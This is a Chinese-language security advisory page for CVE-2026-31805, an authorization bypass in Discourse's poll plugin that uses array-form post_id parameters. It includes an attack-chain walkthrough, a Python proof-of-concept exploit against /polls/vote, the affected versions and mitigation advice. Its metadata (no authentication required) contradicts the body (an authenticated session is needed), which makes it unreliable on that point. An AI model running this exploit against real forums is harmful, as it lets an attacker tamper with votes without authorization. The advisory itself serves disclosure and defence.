IPBUF安全漏洞报告
English
CVE-2026-31805 CVSS 5.3 中危

CVE-2026-31805 Discourse投票插件授权绕过漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-31805
漏洞类型
授权绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Discourse

相关标签

授权绕过逻辑漏洞DiscourseCVE-2026-31805

漏洞概述

Discourse是一个开源论坛平台。在特定版本之前,其投票插件存在授权绕过漏洞。攻击者能够利用该漏洞,通过对post_id参数进行特殊构造,绕过权限检查,对无权访问的投票进行投票、取消投票或切换状态等未授权操作。

技术细节

该漏洞是由于Discourse投票插件控制器中处理参数的逻辑不一致导致的。在处理post_id参数时,若将其作为数组传递(例如post_id[]=&post_id[]=target_id),框架的授权检查逻辑会解析数组中的第一个元素(通常是用户拥有权限的ID)并验证通过。然而,后续的投票查找逻辑却解析到了数组中的另一个ID(即攻击者想要操作的帖子)。这种逻辑差异允许攻击者通过伪造请求参数,在无需拥有目标帖子权限的情况下,执行投票、删除投票或更改投票状态的操作,从而破坏了论坛投票数据的公正性和完整性。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标Discourse论坛,确认其版本低于2026.3.0-latest.1、2026.2.1或2026.1.2,并确认开启了Poll插件。
STEP 2
2. 获取凭证
攻击者在论坛注册一个普通账号并登录,获取有效的Session Cookie(漏洞描述指出需为认证用户)。
STEP 3
3. 构造Payload
攻击者分析目标帖子的ID,并构造包含数组格式post_id参数的HTTP POST请求(如post_id[]=&post_id[]=target_id)。
STEP 4
4. 发送恶意请求
攻击者向/polls/vote、/polls/remove_vote或/polls/toggle_status接口发送构造好的请求。
STEP 5
5. 执行未授权操作
服务器端因逻辑缺陷,在授权检查时使用了合法ID,但在执行操作时使用了目标ID,导致攻击者成功篡改投票数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-31805 # Description: Exploit authorization bypass by passing post_id as an array. import requests def exploit_discourse_poll(target_url, session_cookie, target_post_id, poll_name, option_id): """ Attempts to vote on a poll without authorization using array parameter pollution. """ # Vulnerable endpoint for voting endpoint = f"{target_url}/polls/vote" # Headers with a valid user session (Authentication required as per description) headers = { "Cookie": f"_forum_session={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Payload: Passing post_id as an array to bypass authorization checks # The authorization check might validate an empty or accessible ID, # while the poll logic uses the target_post_id. data = { "post_id[]": ["", str(target_post_id)], "poll_name": poll_name, "option_id": str(option_id) } try: response = requests.post(endpoint, headers=headers, data=data) if response.status_code == 200: print("[+] Request sent successfully. Check if vote was registered.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage configuration TARGET = "http://localhost:3000" # Attacker's session cookie (Description states 'authenticated users') SESSION = "valid_session_cookie_here" TARGET_POST = "12345" # ID of the post containing the poll POLL = "poll_name" OPTION = "1" exploit_discourse_poll(TARGET, SESSION, TARGET_POST, POLL, OPTION)

影响范围

Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

防御指南

临时缓解措施
建议立即升级至官方发布的修复版本。如果暂时无法升级,应考虑临时禁用Poll插件以阻断攻击路径,或者部署Web应用防火墙(WAF)规则,检测并拦截包含数组格式post_id参数的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表